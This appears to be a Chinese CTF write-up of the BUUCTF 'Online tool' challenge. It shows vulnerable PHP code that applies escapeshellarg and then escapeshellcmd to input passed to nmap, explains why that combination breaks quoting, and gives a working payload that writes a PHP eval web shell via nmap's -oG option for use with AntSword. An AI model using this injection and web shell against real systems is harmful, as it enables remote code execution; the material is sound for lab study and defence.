当前位置: 代码迷 >> 综合 >> 【buuctf】Online tool 命令执行RCEnmap
  详细解决方案

【buuctf】Online tool 命令执行RCEnmap

热度:77   发布时间:2023-11-04 23:06:35.0

Online tool

被自己蠢到了,一句话上传成功后没看见沙盒地址,一直蚁剑连接失败。。。

有源码

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

见到system 知道是命令执行
上传参数host
对其进行两次过滤
再以nmap执行

构造payload

先抛开过滤
nmap 有一个参数-oG 可以写入文件

nmap xxxxxx -oG filename

再来看过滤

escapeshellarg函数
作用:把单引号转义之后再用引号括起来,使其成为一个字符串,使其只能提交一个参数。
escapeshellcmd函数
作用:把\,不闭合的引号等符号进行转义,使一次只能执行一次cmd命令杜绝';','&&'的使用。

可是如果把这两个函数一起使用会出现漏洞

提交参数:1' -v -d a=1 经过escapeshellarg处理后变成了'1'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成'1'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php 最后执行的命令是curl '1'\\'' -v -d a=1\', 由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配儿成了一个空白连接符。 所以可以简化为curl 172.17.0.2\ -v -d a=1',即向1\发起请求,POST 数据为a=1'。
payload:?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

执行返回sandbox的编号
最后蚁剑连接xxxxxx/sandbox编号/hack.php

  相关解决方案